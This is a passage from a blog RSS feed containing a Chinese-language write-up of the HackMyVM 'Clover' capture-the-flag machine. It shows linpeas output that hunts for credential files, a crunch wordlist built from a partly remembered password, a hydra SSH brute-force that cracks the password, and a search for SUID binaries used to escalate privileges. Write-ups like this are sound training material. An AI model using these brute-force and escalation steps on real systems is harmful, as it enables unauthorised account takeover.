-rw-r--r-- 1 root root 0 Feb 29  2020 no_empty


╔══════════╣ Backup files (limited 100)
-rw-r--r-- 1 root root 673 Mar 17  2021 /etc/xml/xml-core.xml.old              
-rw-r--r-- 1 root root 3557 Mar 17  2021 /etc/xml/catalog.old
-rw-r--r-- 1 root root 10151 Mar 17  2021 /etc/xml/docbook-xml.xml.old
-rw-r--r-- 1 root root 339 Mar 17  2021 /etc/xml/docutils-common.xml.old
-rw-r--r-- 1 root root 1219 Mar 17  2021 /etc/xml/sgml-data.xml.old
-rw-r--r-- 1 root root 20 Feb 13  2015 /etc/vmware-tools/tools.conf.old
-rw-r--r-- 1 root root 7824 Jun  9  2020 /lib/modules/3.16.0-11-amd64/kernel/drivers/net/team/team_mode_activebackup.ko
-rw-r--r-- 1 root root 7568 Dec  3  2017 /lib/modules/3.16.0-4-amd64/kernel/drivers/net/team/team_mode_activebackup.ko
-rw-r--r-- 1 root root 27368 Feb 13  2015 /usr/lib/open-vm-tools/plugins/vmsvc/libvmbackup.so
-rw-r--r-- 1 root root 26616 Apr 26  2019 /usr/lib/evolution/3.12/modules/module-backup-restore.so
-rwxr-xr-x 1 root root 31104 Apr 26  2019 /usr/lib/evolution/3.12/evolution-backup                                                                            
-rw-r--r-- 1 root root 475 Feb  6  2015 /usr/share/tracker/tracker-backup.xml
-rw-r--r-- 1 root root 2433 Oct 20  2014 /usr/share/help/sr@latin/gnome-help/backup-where.page                                                                
-rw-r--r-- 1 root root 3547 Oct 20  2014 /usr/share/help/sr@latin/gnome-help/backup-thinkabout.page                                                           
-rw-r--r-- 1 root root 2318 Oct 20  2014 /usr/share/help/sr@latin/gnome-help/backup-frequency.page                                                            
-rw-r--r-- 1 root root 1363 Oct 20  2014 /usr/share/help/sr@latin/gnome-help/backup-restore.page                                                              
-rw-r--r-- 1 root root 1373 Oct 20  2014 /usr/share/help/sr@latin/gnome-help/backup-why.page                                                                  
-rw-r--r-- 1 root root 2513 Oct 20  2014 /usr/share/help/sr@latin/gnome-help/backup-how.page                                                                  
-rw-r--r-- 1 root root 2685 Oct 20  2014 /usr/share/help/sr@latin/gnome-help/backup-what.page                                                                 
-rw-r--r-- 1 root root 1934 Oct 20  2014 /usr/share/help/sr@latin/gnome-help/backup-check.page                                                                
-rw-r--r-- 1 root root 2546 Oct 20  2014 /usr/share/help/sv/gnome-help/backup-where.page
-rw-r--r-- 1 root root 3596 Oct 20  2014 /usr/share/help/sv/gnome-help/backup-thinkabout.page
-rw-r--r-- 1 root root 2294 Oct 20  2014 /usr/share/help/sv/gnome-help/backup-frequency.page
-rw-r--r-- 1 root root 1617 Oct 20  2014 /usr/share/help/sv/gnome-help/backup-restore.page
-rw-r--r-- 1 root root 1551 Oct 20  2014 /usr/share/help/sv/gnome-help/backup-why.page
-rw-r--r-- 1 root root 2657 Oct 20  2014 /usr/share/help/sv/gnome-help/backup-how.page
-rw-r--r-- 1 root root 2802 Oct 20  2014 /usr/share/help/sv/gnome-help/backup-what.page
-rw-r--r-- 1 root root 2122 Oct 20  2014 /usr/share/help/sv/gnome-help/backup-check.page
-rw-r--r-- 1 root root 2504 Apr 26  2019 /usr/share/help/sv/evolution/backup-restore.page
-rw-r--r-- 1 root root 2772 Oct 20  2014 /usr/share/help/cs/gnome-help/backup-where.page
-rw-r--r-- 1 root root 3823 Oct 20  2014 /usr/share/help/cs/gnome-help/backup-thinkabout.page
-rw-r--r-- 1 root root 2507 Oct 20  2014 /usr/share/help/cs/gnome-help/backup-frequency.page
-rw-r--r-- 1 root root 1829 Oct 20  2014 /usr/share/help/cs/gnome-help/backup-restore.page
-rw-r--r-- 1 root root 1769 Oct 20  2014 /usr/share/help/cs/gnome-help/backup-why.page
-rw-r--r-- 1 root root 2864 Oct 20  2014 /usr/share/help/cs/gnome-help/backup-how.page
-rw-r--r-- 1 root root 3013 Oct 20  2014 /usr/share/help/cs/gnome-help/backup-what.page
-rw-r--r-- 1 root root 2321 Oct 20  2014 /usr/share/help/cs/gnome-help/backup-check.page
-rw-r--r-- 1 root root 2504 Apr 26  2019 /usr/share/help/cs/evolution/backup-restore.page
-rw-r--r-- 1 root root 2303 Oct 20  2014 /usr/share/help/nl/gnome-help/backup-where.page
-rw-r--r-- 1 root root 3354 Oct 20  2014 /usr/share/help/nl/gnome-help/backup-thinkabout.page
-rw-r--r-- 1 root root 2038 Oct 20  2014 /usr/share/help/nl/gnome-help/backup-frequency.page
-rw-r--r-- 1 root root 1360 Oct 20  2014 /usr/share/help/nl/gnome-help/backup-restore.page
-rw-r--r-- 1 root root 1300 Oct 20  2014 /usr/share/help/nl/gnome-help/backup-why.page
-rw-r--r-- 1 root root 2395 Oct 20  2014 /usr/share/help/nl/gnome-help/backup-how.page
-rw-r--r-- 1 root root 2544 Oct 20  2014 /usr/share/help/nl/gnome-help/backup-what.page
-rw-r--r-- 1 root root 1852 Oct 20  2014 /usr/share/help/nl/gnome-help/backup-check.page
-rw-r--r-- 1 root root 2305 Oct 20  2014 /usr/share/help/kn/gnome-help/backup-where.page
-rw-r--r-- 1 root root 3356 Oct 20  2014 /usr/share/help/kn/gnome-help/backup-thinkabout.page
-rw-r--r-- 1 root root 2040 Oct 20  2014 /usr/share/help/kn/gnome-help/backup-frequency.page
-rw-r--r-- 1 root root 1362 Oct 20  2014 /usr/share/help/kn/gnome-help/backup-restore.page
-rw-r--r-- 1 root root 1302 Oct 20  2014 /usr/share/help/kn/gnome-help/backup-why.page
-rw-r--r-- 1 root root 2397 Oct 20  2014 /usr/share/help/kn/gnome-help/backup-how.page
-rw-r--r-- 1 root root 2546 Oct 20  2014 /usr/share/help/kn/gnome-help/backup-what.page
-rw-r--r-- 1 root root 1854 Oct 20  2014 /usr/share/help/kn/gnome-help/backup-check.page
-rw-r--r-- 1 root root 4137 Oct 20  2014 /usr/share/help/mr/gnome-help/backup-where.page
-rw-r--r-- 1 root root 4942 Oct 20  2014 /usr/share/help/mr/gnome-help/backup-thinkabout.page
-rw-r--r-- 1 root root 3776 Oct 20  2014 /usr/share/help/mr/gnome-help/backup-frequency.page
-rw-r--r-- 1 root root 2646 Oct 20  2014 /usr/share/help/mr/gnome-help/backup-restore.page
-rw-r--r-- 1 root root 2563 Oct 20  2014 /usr/share/help/mr/gnome-help/backup-why.page
-rw-r--r-- 1 root root 4265 Oct 20  2014 /usr/share/help/mr/gnome-help/backup-how.page
-rw-r--r-- 1 root root 4826 Oct 20  2014 /usr/share/help/mr/gnome-help/backup-what.page
-rw-r--r-- 1 root root 3178 Oct 20  2014 /usr/share/help/mr/gnome-help/backup-check.page
-rw-r--r-- 1 root root 3915 Oct 20  2014 /usr/share/help/as/gnome-help/backup-where.page
-rw-r--r-- 1 root root 4857 Oct 20  2014 /usr/share/help/as/gnome-help/backup-thinkabout.page
-rw-r--r-- 1 root root 3643 Oct 20  2014 /usr/share/help/as/gnome-help/backup-frequency.page
-rw-r--r-- 1 root root 2601 Oct 20  2014 /usr/share/help/as/gnome-help/backup-restore.page
-rw-r--r-- 1 root root 1660 Oct 20  2014 /usr/share/help/as/gnome-help/backup-why.page
-rw-r--r-- 1 root root 4242 Oct 20  2014 /usr/share/help/as/gnome-help/backup-how.page
-rw-r--r-- 1 root root 4854 Oct 20  2014 /usr/share/help/as/gnome-help/backup-what.page
-rw-r--r-- 1 root root 2954 Oct 20  2014 /usr/share/help/as/gnome-help/backup-check.page
-rw-r--r-- 1 root root 3928 Oct 20  2014 /usr/share/help/gu/gnome-help/backup-where.page
-rw-r--r-- 1 root root 4893 Oct 20  2014 /usr/share/help/gu/gnome-help/backup-thinkabout.page
-rw-r--r-- 1 root root 3851 Oct 20  2014 /usr/share/help/gu/gnome-help/backup-frequency.page
-rw-r--r-- 1 root root 2520 Oct 20  2014 /usr/share/help/gu/gnome-help/backup-restore.page
-rw-r--r-- 1 root root 2193 Oct 20  2014 /usr/share/help/gu/gnome-help/backup-why.page
-rw-r--r-- 1 root root 4044 Oct 20  2014 /usr/share/help/gu/gnome-help/backup-how.page
-rw-r--r-- 1 root root 4718 Oct 20  2014 /usr/share/help/gu/gnome-help/backup-what.page
-rw-r--r-- 1 root root 2894 Oct 20  2014 /usr/share/help/gu/gnome-help/backup-check.page
-rw-r--r-- 1 root root 2985 Oct 20  2014 /usr/share/help/it/gnome-help/backup-where.page
-rw-r--r-- 1 root root 4003 Oct 20  2014 /usr/share/help/it/gnome-help/backup-thinkabout.page
-rw-r--r-- 1 root root 2668 Oct 20  2014 /usr/share/help/it/gnome-help/backup-frequency.page
-rw-r--r-- 1 root root 1830 Oct 20  2014 /usr/share/help/it/gnome-help/backup-restore.page
-rw-r--r-- 1 root root 1906 Oct 20  2014 /usr/share/help/it/gnome-help/backup-why.page
-rw-r--r-- 1 root root 2934 Oct 20  2014 /usr/share/help/it/gnome-help/backup-how.page
-rw-r--r-- 1 root root 3143 Oct 20  2014 /usr/share/help/it/gnome-help/backup-what.page
-rw-r--r-- 1 root root 2348 Oct 20  2014 /usr/share/help/it/gnome-help/backup-check.page
-rw-r--r-- 1 root root 3510 Oct 20  2014 /usr/share/help/pt_BR/gnome-help/backup-where.page                                                                   
-rw-r--r-- 1 root root 4518 Oct 20  2014 /usr/share/help/pt_BR/gnome-help/backup-thinkabout.page                                                              
-rw-r--r-- 1 root root 3273 Oct 20  2014 /usr/share/help/pt_BR/gnome-help/backup-frequency.page                                                               
-rw-r--r-- 1 root root 2410 Oct 20  2014 /usr/share/help/pt_BR/gnome-help/backup-restore.page                                                                 
-rw-r--r-- 1 root root 2461 Oct 20  2014 /usr/share/help/pt_BR/gnome-help/backup-why.page                                                                     
-rw-r--r-- 1 root root 3602 Oct 20  2014 /usr/share/help/pt_BR/gnome-help/backup-how.page                                                                     
-rw-r--r-- 1 root root 3793 Oct 20  2014 /usr/share/help/pt_BR/gnome-help/backup-what.page                                                                    
-rw-r--r-- 1 root root 2969 Oct 20  2014 /usr/share/help/pt_BR/gnome-help/backup-check.page                                                                   
-rw-r--r-- 1 root root 2340 Oct 20  2014 /usr/share/help/pa/gnome-help/backup-where.page
-rw-r--r-- 1 root root 3391 Oct 20  2014 /usr/share/help/pa/gnome-help/backup-thinkabout.page
-rw-r--r-- 1 root root 2108 Oct 20  2014 /usr/share/help/pa/gnome-help/backup-frequency.page
-rw-r--r-- 1 root root 1397 Oct 20  2014 /usr/share/help/pa/gnome-help/backup-restore.page
-rw-r--r-- 1 root root 1348 Oct 20  2014 /usr/share/help/pa/gnome-help/backup-why.page
-rw-r--r-- 1 root root 2432 Oct 20  2014 /usr/share/help/pa/gnome-help/backup-how.page

╔══════════╣ Searching tables inside readable .db/.sql/.sqlite files (limit 100)                                                                              
Found /home/asta/.cache/tracker/meta.db: SQLite 3.x database                   
Found /home/asta/.local/share/evolution/addressbook/system/contacts.db: SQLite 3.x database
Found /home/asta/.local/share/zeitgeist/activity.sqlite: SQLite 3.x database
Found /var/lib/apt/listchanges.db: Berkeley DB (Hash, version 9, native byte-order)
Found /var/lib/colord/mapping.db: SQLite 3.x database
Found /var/lib/colord/storage.db: SQLite 3.x database
Found /var/lib/mlocate/mlocate.db: regular file, no read permission
Found /var/lib/PackageKit/transactions.db: SQLite 3.x database


╔══════════╣ Web files?(output limit)
/var/www/:                                                                     
total 12K
drwxr-xr-x  3 root root 4.0K Mar 17  2021 .
drwxr-xr-x 14 root root 4.0K Mar 26  2021 ..
drwxr-xr-x  4 root root 4.0K Mar 26  2021 html

/var/www/html:
total 32K
drwxr-xr-x 4 root root 4.0K Mar 26  2021 .
drwxr-xr-x 3 root root 4.0K Mar 17  2021 ..

╔══════════╣ All relevant hidden files (not in /sys/ or the ones listed in the previous check) (limit 70)                                                     
-r--r--r-- 1 root root 11 Dec 14 02:28 /tmp/.X0-lock                           
-rw-r--r-- 1 root root 0 Dec 14  2025 /run/network/.ifstate.lock
-rw-r--r-- 1 root root 220 Nov  5  2016 /etc/skel/.bash_logout
-rw-r--r-- 1 root root 0 Mar 17  2021 /etc/.java/.systemPrefs/.systemRootModFile
-rw-r--r-- 1 root root 0 Mar 17  2021 /etc/.java/.systemPrefs/.system.lock
-rw------- 1 root root 0 Mar 17  2021 /etc/.pwd.lock
-rw-r----- 1 asta asta 0 Apr  7  2021 /home/asta/.local/share/tracker/data/.meta.isrunning
-rw-r--r-- 1 asta asta 0 Apr  7  2021 /home/asta/.local/share/.converted-launchers
-rwx------ 1 asta asta 220 Mar 17  2021 /home/asta/.bash_logout
-rw------- 1 asta asta 318 Apr  7  2021 /home/asta/.ICEauthority
-rw-r--r-- 1 root root 29 Mar 17  2021 /usr/lib/pymodules/python2.7/.path
-rw-r--r-- 1 root root 2439 Apr 27  2020 /usr/lib/jvm/.java-1.7.0-openjdk-amd64.jinfo
-rw-r--r-- 1 root root 6148 Mar 26  2021 /var/www/html/website/images/.DS_Store
-rw------- 1 Debian-gdm Debian-gdm 9094 Dec 14 02:28 /var/lib/gdm3/.ICEauthority

╔══════════╣ Readable files inside /tmp, /var/tmp, /private/tmp, /private/var/at/tmp, /private/var/tmp, and backup folders (limit 70)                         
-r--r--r-- 1 root root 11 Dec 14 02:28 /tmp/.X0-lock                           
-rwxr-xr-x 1 asta asta 971926 Dec 14 02:54 /tmp/linpeas.sh
-rw-r--r-- 1 root root 5174 Mar 17  2021 /var/backups/alternatives.tar.2.gz
-rw-r--r-- 1 root root 5332 Mar 24  2021 /var/backups/alternatives.tar.1.gz
-rw-r--r-- 1 root root 112640 Mar 27  2021 /var/backups/alternatives.tar.0
-rw-r--r-- 1 root root 144 Mar 27  2021 /var/backups/reminder/passwd.sword
-rw-r--r-- 1 root root 0 Feb 29  2020 /var/lib/firebird/2.5/backup/no_empty

╔══════════╣ Searching passwords in history files
Binary file /usr/share/phpmyadmin/js/openlayers/theme/default/img/navigation_history.png matches

╔══════════╣ Searching passwords in config PHP files
/etc/phpmyadmin/config.inc.php:    // $cfg[&amp;#39;Servers&amp;#39;][$i][&amp;#39;AllowNoPassword&amp;#39;] = TRUE;
/etc/phpmyadmin/config.inc.php:// $cfg[&amp;#39;Servers&amp;#39;][$i][&amp;#39;AllowNoPassword&amp;#39;] = TRUE;
/usr/share/phpmyadmin/config.sample.inc.php:$cfg[&amp;#39;Servers&amp;#39;][$i][&amp;#39;AllowNoPassword&amp;#39;] = false;
/usr/share/phpmyadmin/libraries/config.default.php:$cfg[&amp;#39;Servers&amp;#39;][$i][&amp;#39;AllowNoPassword&amp;#39;] = false;                                                            
/usr/share/phpmyadmin/libraries/config.default.php:$cfg[&amp;#39;Servers&amp;#39;][$i][&amp;#39;nopassword&amp;#39;] = false;
/usr/share/phpmyadmin/libraries/config.default.php:$cfg[&amp;#39;ShowChgPassword&amp;#39;] = true;

╔══════════╣ Searching *password* or *credential* files in home (limit 70)
/bin/systemd-ask-password                                                      
/bin/systemd-tty-ask-password-agent
/etc/java-7-openjdk/management/jmxremote.password
/etc/pam.d/common-password
/etc/pam.d/gdm-password
/usr/lib/git-core/git-credential
/usr/lib/git-core/git-credential-cache
/usr/lib/git-core/git-credential-cache--daemon
/usr/lib/git-core/git-credential-store
  #)There are more creds/passwds files in the previous parent folder

/usr/lib/grub/i386-pc/password.mod
/usr/lib/grub/i386-pc/password_pbkdf2.mod
/usr/lib/jvm/java-7-openjdk-amd64/jre/lib/management/jmxremote.password
/usr/lib/libreoffice/program/libpasswordcontainerlo.so
/usr/lib/libreoffice/share/config/soffice.cfg/cui/ui/password.ui
/usr/lib/libreoffice/share/config/soffice.cfg/dbaccess/ui/password.ui
/usr/lib/libreoffice/share/config/soffice.cfg/modules/scalc/ui/retypepassworddialog.ui
/usr/lib/libreoffice/share/config/soffice.cfg/sfx/ui/password.ui
/usr/lib/libreoffice/share/config/soffice.cfg/uui/ui/masterpassworddlg.ui
/usr/lib/libreoffice/share/config/soffice.cfg/uui/ui/password.ui
/usr/lib/libreoffice/share/config/soffice.cfg/uui/ui/setmasterpassworddlg.ui
/usr/lib/libreoffice/share/config/soffice.cfg/vcl/ui/cupspassworddialog.ui
/usr/lib/mysql/plugin/debug/validate_password.so
/usr/lib/mysql/plugin/validate_password.so
/usr/lib/pppd/2.4.6/passwordfd.so
/usr/lib/pymodules/python2.7/ndg/httpsclient/test/pki/localhost.key
/usr/lib/x86_64-linux-gnu/libsamba-credentials.so.0
/usr/lib/x86_64-linux-gnu/libsamba-credentials.so.0.0.1
/usr/lib/x86_64-linux-gnu/samba/libcmdline-credentials.so.0
/usr/share/dns/root.key
/usr/share/doc/dialog/examples/password
/usr/share/doc/dialog/examples/password1
/usr/share/doc/dialog/examples/password2
/usr/share/doc/git/contrib/credential
/usr/share/doc/git/contrib/credential/gnome-keyring/git-credential-gnome-keyring.c
/usr/share/doc/git/contrib/credential/netrc/git-credential-netrc
/usr/share/doc/git/contrib/credential/osxkeychain/git-credential-osxkeychain.c
/usr/share/doc/git/contrib/credential/wincred/git-credential-wincred.c
/usr/share/doc/p7zip-full/DOCS/MANUAL/switches/password.htm
/usr/share/gnome-documents/js/password.js
/usr/share/help/as/gnome-help/user-changepassword.page
/usr/share/help/as/gnome-help/user-goodpassword.page
/usr/share/help/bg/evince/password.page
/usr/share/help/bg/zenity/figures/zenity-password-screenshot.png
/usr/share/help/bg/zenity/password.page
/usr/share/help/ca/empathy/irc-nick-password.page
/usr/share/help/ca/evince/password.page
/usr/share/help/ca/file-roller/password-protection.page
/usr/share/help/ca/file-roller/troubleshooting-password.page
/usr/share/help/ca/gnome-help/user-changepassword.page
/usr/share/help/ca/gnome-help/user-goodpassword.page
/usr/share/help/ca/zenity/figures/zenity-password-screenshot.png
/usr/share/help/ca/zenity/password.page
/usr/share/help/C/empathy/irc-nick-password.page
/usr/share/help/C/evince/password.page
/usr/share/help/C/file-roller/password-protection.page
/usr/share/help/C/file-roller/troubleshooting-password.page
/usr/share/help/C/gnome-help/user-changepassword.page
/usr/share/help/C/gnome-help/user-goodpassword.page
/usr/share/help/C/seahorse/keyring-update-password.page
/usr/share/help/C/seahorse/passwords.page
/usr/share/help/C/seahorse/passwords-stored-create.page
/usr/share/help/C/seahorse/passwords-view.page
  #)There are more creds/passwds files in the previous parent folder

/usr/share/help/cs/evince/password.page
/usr/share/help/cs/file-roller/password-protection.page
/usr/share/help/cs/file-roller/troubleshooting-password.page
/usr/share/help/cs/gnome-help/user-changepassword.page

╔══════════╣ Checking for TTY (sudo/su) passwords in audit logs
                                                                               
╔══════════╣ Checking for TTY (sudo/su) passwords in audit logs
                                                                               
╔══════════╣ Searching passwords inside logs (limit 70)
/var/log/dpkg.log.1:2021-03-17 14:02:15 configure base-passwd:amd64 3.5.37 3.5.37
/var/log/dpkg.log.1:2021-03-17 14:02:15 install base-passwd:amd64 &amp;lt;none&amp;gt; 3.5.37
/var/log/dpkg.log.1:2021-03-17 14:02:15 status half-configured base-passwd:amd64 3.5.37
/var/log/dpkg.log.1:2021-03-17 14:02:15 status half-installed base-passwd:amd64 3.5.37
/var/log/dpkg.log.1:2021-03-17 14:02:15 status unpacked base-passwd:amd64 3.5.37
/var/log/dpkg.log.1:2021-03-17 14:02:16 status installed base-passwd:amd64 3.5.37
/var/log/dpkg.log.1:2021-03-17 14:02:28 status half-configured base-passwd:amd64 3.5.37
/var/log/dpkg.log.1:2021-03-17 14:02:28 status half-installed base-passwd:amd64 3.5.37
/var/log/dpkg.log.1:2021-03-17 14:02:28 status unpacked base-passwd:amd64 3.5.37
/var/log/dpkg.log.1:2021-03-17 14:02:28 upgrade base-passwd:amd64 3.5.37 3.5.37
/var/log/dpkg.log.1:2021-03-17 14:02:36 install passwd:amd64 &amp;lt;none&amp;gt; 1:4.2-3+deb8u4
/var/log/dpkg.log.1:2021-03-17 14:02:36 status half-installed passwd:amd64 1:4.2-3+deb8u4
/var/log/dpkg.log.1:2021-03-17 14:02:37 status unpacked passwd:amd64 1:4.2-3+deb8u4
/var/log/dpkg.log.1:2021-03-17 14:02:46 configure base-passwd:amd64 3.5.37 &amp;lt;none&amp;gt;
/var/log/dpkg.log.1:2021-03-17 14:02:46 status half-configured base-passwd:amd64 3.5.37
/var/log/dpkg.log.1:2021-03-17 14:02:46 status installed base-passwd:amd64 3.5.37
/var/log/dpkg.log.1:2021-03-17 14:02:46 status unpacked base-passwd:amd64 3.5.37
/var/log/dpkg.log.1:2021-03-17 14:02:50 configure passwd:amd64 1:4.2-3+deb8u4 &amp;lt;none&amp;gt;
/var/log/dpkg.log.1:2021-03-17 14:02:50 status half-configured passwd:amd64 1:4.2-3+deb8u4
/var/log/dpkg.log.1:2021-03-17 14:02:50 status installed passwd:amd64 1:4.2-3+deb8u4
/var/log/dpkg.log.1:2021-03-17 14:02:50 status unpacked passwd:amd64 1:4.2-3+deb8u4
/var/log/installer/status:Description: Set up users and passwords

╔══════════╣ Checking all env variables in /proc/*/environ removing duplicates and filtering out useless env vars                                             
HOME=/home/asta                                                                
LANG=en_US.UTF-8
_=./linpeas.sh
LOGNAME=asta
MAIL=/var/mail/asta
NOTIFY_SOCKET=/run/systemd/notify
OLDPWD=/
PWD=/tmp
SHELL=/bin/bash
SHLVL=1
SSH_CLIENT=172.16.55.210 58162 22
SSH_CONNECTION=172.16.55.210 58162 172.16.53.36 22
SSH_TTY=/dev/pts/0
TERM=xterm-256color
USER=asta
XDG_RUNTIME_DIR=/run/user/1000


                                ╔════════════════╗
════════════════════════════════╣ API Keys Regex ╠════════════════════════════════                                                                            
                                ╚════════════════╝                             
Regexes to search for API keys aren&amp;#39;t activated, use param &amp;#39;-r&amp;#39; 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;asta@Clover:/var/backups/reminder$ ls -al
total 12
drwxr-xr-x 2 root root 4096 Mar 27  2021 .
drwxr-xr-x 3 root root 4096 Dec 14 01:02 ..
-rw-r--r-- 1 root root  144 Mar 27  2021 passwd.sword
asta@Clover:/var/backups/reminder$ cat passwd.sword 
Oh well, this is a reminder for Sword&amp;#39;s password. I just remember this:

passwd sword: P4SsW0rD**** 

I forgot the last four numerical digits! 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;补全后四位数密码&lt;/p&gt;
&lt;h1&gt;Crunch&lt;/h1&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;man crunch
-t @,%^
              Specifies  a pattern, eg: @@god@@@@ where the only the @&amp;#39;s, ,&amp;#39;s,
              %&amp;#39;s, and ^&amp;#39;s will change.
              @ will insert lower case characters
              , will insert upper case characters
              % will insert numbers
              ^ will insert symbols
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv]
└─# crunch 12 12 0123456789 -t &amp;quot;P4SsW0rD%%%%&amp;quot; -o passwd
Crunch will now generate the following amount of data: 130000 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 10000 

crunch: 100% completed generating output
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Sword爆破&lt;/h1&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;──(root㉿kali)-[/home/kali/Desktop/hmv]
└─# hydra -l sword -P ./passwd ssh://172.16.53.36 -t 4
Hydra v9.5 (c) 2023 by van Hauser/THC &amp;amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-12-14 03:04:46
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 10000 login tries (l:1/p:10000), ~2500 tries per task
[DATA] attacking ssh://172.16.53.36:22/
[STATUS] 76.00 tries/min, 76 tries in 00:01h, 9924 to do in 02:11h, 4 active
[STATUS] 79.67 tries/min, 239 tries in 00:03h, 9761 to do in 02:03h, 4 active
[STATUS] 66.57 tries/min, 466 tries in 00:07h, 9534 to do in 02:24h, 4 active
[STATUS] 70.00 tries/min, 1050 tries in 00:15h, 8950 to do in 02:08h, 4 active
[STATUS] 81.35 tries/min, 2522 tries in 00:31h, 7478 to do in 01:32h, 4 active
[STATUS] 87.53 tries/min, 4114 tries in 00:47h, 5886 to do in 01:08h, 4 active
[22][ssh] host: 172.16.53.36   login: sword   password: P4SsW0rD4286
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-12-14 03:53:45
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;爆破了好久啊&lt;/p&gt;
&lt;h2&gt;sword&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sword@Clover:~$ cat local2.txt 





     /\
    // \
    || |
    || |
    || |      Sword PWN!
    || |
    || |
    || |
 __ || | __
/___||_|___\
     ww
     MM
    _MM_
   (&amp;amp;&amp;lt;&amp;gt;&amp;amp;)
    ~~~~




e63a186943f8c1258cd1afde7722fbb4
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sword@Clover:~$ id uid=1001(sword) gid=1001(sword) groups=1001(sword)
sword@Clover:~$ find / -type f -perm -4000 -exec ls -lh {} \; 2&amp;gt;/dev/null
-rwsr-xr-x 1 root root 89K Oct 19  2019 /sbin/mount.nfs
-rwsr-xr-x 1 root root 27K Mar 29  2015 /bin/umount
-rwsr-xr-x 1 root root 143K Mar 22  2019 /bin/ntfs-3g
-rwsr-xr-x 1 root root 40K May 17  2017 /bin/su
-rwsr-xr-x 1 root root 35K Aug 15  2018 /bin/fusermount
-rwsr-xr-x 1 root root 40K Mar 29  2015 /bin/mount
-rwsr-xr-- 1 root dip 326K Feb  9  2020 /usr/sbin/pppd
-rwsr-xr-x 1 root root 1012K May 16  2020 /usr/sbin/exim4
-rwsr-xr-x 1 root root 44K May 17  2017 /usr/bin/chsh
-rwsr-xr-x 1 root root 53K May 17  2017 /usr/bin/chfn
-rwsr-sr-x 1 root mail 88K Nov 18  2017 /usr/bin/procmail
-rwsr-xr-x 1 root root 155K Feb  1  2020 /usr/bin/sudo
-rwsr-sr-x 1 daemon daemon 55K Sep 30  2014 /usr/bin/at
-rwsr-xr-x 1 root root 53K May 17  2017 /usr/bin/passwd
-rwsr-sr-x 1 root root 9.9K Apr  1  2014 /usr/bin/X
-rwsr-xr-x 1 root root 39K May 17  2017 /usr/bin/newgrp
-rwsr-xr-x 1 root root 23K Jan 28  2019 /usr/bin/pkexec
-rwsr-xr-x 1 root root 74K May 17  2017 /usr/bin/gpasswd
-rwsrwsrwx 1 root sword 195K Mar 24  2021 /usr/games/clover/deamon.sh
-rwsr-xr-x 1 root root 9.9K Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 15K Jan 28  2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root 14K Aug 31  2018 /usr/lib/spice-gtk/spice-client-glib-usb-acl-helper
-rwsr-xr-x 1 root root 455K Mar 25  2019 /usr/lib/openssh/ssh-keysign
-rwsr-xr-- 1 root messagebus 292K Jun  5  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
sword@Clover:~$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;-rwsrwsrwx 1 root sword 195K Mar 24  2021 /usr/games/clover/deamon.sh&lt;/p&gt;
&lt;p&gt;为什么这是“必死洞”？&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SUID = root

owner = root

group = sword

权限 = 777（rwsrwsrwx）

而且是脚本（.sh）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;👉 你（sword）可以直接修改一个“以 root 身份执行的脚本”&lt;/p&gt;
&lt;p&gt;这是 Linux 提权里最致命的错误配置。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;环境被我破坏掉了贴下wp的图片吧&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Clover-2.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;访问发现实则是lua程序&lt;/p&gt;
&lt;p&gt;查找lua提权&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Clover-3.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Clover-4.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;运行命令后，我们获得了壳级访问权限。我们通过运行 id 命令确认我们现在已经成为 root 权限来验证。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Clover-5.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hmvmachines/clover/&quot;&gt;https://heathc1iff-sec.github.io/blog/hmvmachines/clover/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Sun, 14 Dec 2025 00:00:00 GMT</pubDate></item><item><title>HMV-Always</title><link>https://heathc1iff-sec.github.io/blog/hmvmachines/always/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hmvmachines/always/</guid><description>Beginner friendly, easy windows box. Basic enumeration skills and windows privilege escalation knowledge will open your way.</description><content:encoded>&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Always-1.png&quot; 